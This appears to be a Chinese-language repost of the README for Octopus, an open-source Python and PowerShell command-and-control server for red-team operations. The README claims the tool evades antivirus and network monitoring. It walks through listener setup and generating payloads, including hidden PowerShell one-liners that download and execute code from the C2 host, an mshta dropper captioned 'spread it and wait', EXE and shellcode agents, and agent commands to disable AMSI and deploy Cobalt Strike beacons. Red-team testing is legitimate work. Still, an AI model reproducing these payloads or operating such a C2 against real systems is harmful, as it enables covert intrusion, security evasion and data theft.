基于python和powerhell的开源预操作C2服务器
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/mhaskar/Octopus
Octopus
Octopus是一个开源的、基于python的预运行C2服务器,可以通过HTTP/S控制一个Octopus powershell agent。
创建 Octopus 的主要目的是在任何红队行动之前使用,而不是开始使用您的完整操作武器库和基础设施,您可以在开始实际的红队行动之前先使用 Octopus 攻击目标并收集信息。
Octopus 以一种非常简单的方式工作,通过加密良好的通道执行命令并与 C2 交换信息,这使得它不显眼,几乎无法从几乎所有 AV、端点保护和网络监控解决方案中检测到。
Octopus 中的一个很酷的功能称为 ESA,它代表“端点态势感知”,它将收集有关目标的一些重要信息,帮助您更好地了解您在操作过程中将面临的目标网络端点,从而提供您可以根据此信息自定义您的实际操作。
Octopus 被设计为在与 C2 通信时隐蔽和隐蔽,因为它默认使用 AES-256 作为其 powershell 代理和 C2 服务器之间的加密通道。 您还可以通过为您的域提供有效证书并配置 Octopus C2 服务器来使用它来选择使用 SSL/TLS。
Octopus的主要特点
Octopus 包含许多功能,可让您在实际需要部署完整武器库或工具和技术之前深入了解即将到来的参与,例如:
- 通过 HTTP/S 控制代理。
- 执行系统命令。
- 下载/上传文件。
- 加载外部 powershell 模块。
- 在 C2 和代理之间使用加密通道 (AES-256)。
- 使用不显眼的技术来执行命令和传输结果。
- 为每个目标创建自定义和多个侦听器。
- 生成不同类型的有效载荷。
- 支持所有带有 powershell 2.0 及更高版本的 Windows 版本。
- 在不接触 powershell.exe 进程的情况下运行八达通 Windows 可执行代理。
- 从端点自动收集信息(端点态势感知)功能。
要求
您可以通过以下方式安装八达通的所有要求:
pip install -r requirements.txt
您需要 nasm 为 linux 安装和“mingw-w64”编译器才能使用 shellcoding 功能和欺骗性 args 代理。
您可以使用以下方法在基于 Debian 的发行版上安装 nasm:
apt install nasm
您可以 mingw-w64 使用以下方法在基于 Debian 的发行版上安装:
apt install mingw-w64
八达通已在以下操作系统上进行测试:
- Ubuntu (18.04)
- Ubuntu (16.04)
- 卡利Linux(2019.2)
您还需要安装 mono 以确保您可以毫无问题地编译 C# 源代码。
Octopus 依赖于 mono-csc 二进制文件来编译 C# 源代码,您可以通过以下命令安装它,该命令 apt install mono-devel 已经在 kali 和 ubuntu 16.04 上进行了测试。
您可以在不安装 mono 的情况下使用 Octopus,但您将无法使用
generate_exe命令。
另请注意,编译 C# 取决于 System.Management.Automation.dll 具有 SHA1 哈希 a43ed886b68c6ee913da85df9ad2064f1d81c470 的程序集。
如果您在使用八达通时遇到任何问题,请随时提交 错误报告 !
安装
首先确保使用以下命令下载最新版本的八达通:
git clone https://github.com/mhaskar/Octopus/
然后您需要使用以下命令安装要求:
pip install -r requirements.txt
之后,您可以通过运行以下命令来启动章鱼服务器:
./octopus.py
一旦你运行它,你将受到以下欢迎:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
用法
使用 Octopus 非常简单,因为您只需要启动一个侦听器并根据该侦听器的信息生成您的代理。
您可以根据需要生成任意数量的侦听器,然后您可以开始与连接到它们的代理进行交互。
配置文件设置
在开始使用 Octopus 之前,您必须设置一个 URL 处理配置文件,它将控制 C2 的行为和功能,因为 Octopus 是基于 HTTP 的 C2,因此它依赖于 URLs 来处理连接并保证 URLs 不会充当您当前正在攻击的网络中的签名或 IoC,可以根据需要轻松自定义和重命名 URL。
配置文件设置目前仅支持 URL 处理、自动终止值和标头。
设置您的个人资料
要开始设置您的配置文件,您需要编辑 profile.py 文件,其中包含许多关键变量,它们是:
- file_reciever_url:处理文件下载。
- report_url:处理 ESA 报告。
- command_send_url:处理将发送到目标的命令。
- command_receiver_url:处理将在目标上执行的命令。
- first_ping_url:处理来自目标的第一个连接。
- server_response_header:此标头将显示在每个响应中。
- auto_kill:控制代理在与 C2 的 N 次连接失败后何时被杀死的变量
例子:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
代理和侦听器将配置为使用此配置文件相互通信。 接下来我们需要知道如何创建监听器。
听众
Octopus有两个主要的监听器,“http监听器”和“https监听器”,这两个监听器的选项大多是相同的。
HTTP 侦听器:
listen_http 命令采用以下参数启动:
- BindIP 定义侦听器将使用的 IP 地址。
- BindPort 定义你想要监听的端口。
- 主机名将用于从中请求有效负载。
- 间隔 代理在检查命令之前等待的秒数。
- URL 承载负载的页面的名称。
- Listener_name 要使用的侦听器名称。
您还可以通过运行 listen_http 命令查看它的示例:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
我们可以使用以下命令启动监听器:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
将返回以下结果:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
一个监听器已经启动成功,我们可以使用 listeners 命令查看所有的监听器:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS 侦听器:
要创建 HTTPS 侦听器,您可以使用 listen_https 这样的命令:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
该 listen_https 命令采用以下参数启动:
- BindIP :这是侦听器将使用的 IP 地址
- BindPort :这是你想要监听的端口
- 主机名:将用于从中请求有效载荷
- 间隔:代理在检查命令之前等待的秒数
- URL 页面:名称将包含有效负载
- Listener_name :要使用的侦听器名称
- certficate_path :有效 ssl 证书的路径(对于 letsencrypt 证书称为 fullchain.pem)
- key_path :ssl 证书有效密钥的路径(对于 letsencrypt 证书称为 key.pem)
请注意,您需要提供与所用域关联的有效 SSL 证书。
生成代理
Powershell 联机
要为侦听器生成代理, operation1 我们可以使用以下命令:
generate_powershell operation1
我们将得到以下结果:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
现在我们可以使用这个 oneliner 来启动我们的代理。
HTA 单线
要为 listener1 生成 HTA oneliner, operation1 我们可以使用以下命令:
generate_hta operation1
我们将得到以下结果:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
请注意,您可以 /hta 使用以下方式编辑 URL profile.py
章鱼EXE代理
要为侦听器生成 EXE 代理, operation1 我们可以使用以下命令:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
我们将得到以下结果:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
请注意,您必须安装 mono-csc 才能编译 C# 源代码。
章鱼欺骗参数代理
您可以生成一个新的 EXE 代理,该代理将根据 Adam Chester 的出色研究 使用欺骗性参数运行 Powershell 进程。
要生成此 exe,可以使用以下命令:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
生成 x64 shellcode 和 x86 shellcode
从 1.2 版开始,Octopus 可以生成 x64 和 x86 shellcode,生成的 shellcode 使用 CreateProcessA 启动 powershell.exe oneliner,它将启动 powershell 代理。
要生成 x64 shellcode,可以使用以下命令:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
要生成 x86 shellcode,可以使用以下命令:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
与代理交互
首先你可以使用 list 命令列出所有连接的代理,得到如下结果:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
然后我们可以使用 interact 命令与主机进行交互,如下所示:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
您可以使用如下命令列出所有可用命令 help :
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
直接执行系统命令我们可以直接输入命令,然后根据我们创建监听器时设置的间隔检查时间等待结果。
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
在这种情况下,命令已经被加密然后发送给代理,之后客户端将命令解密并执行,代理将结果加密,最后再次发送回给 C2 解密并显示结果.
我们还可以使用 report 命令获取 ESA 信息,如下所示:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
您可以通过将外部 powershell 模块放在 modules 目录中来加载它,然后执行 load module.ps1 .
modules 您也可以通过执行如下命令 列出模块目录中的所有模块:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
更多关于Octopus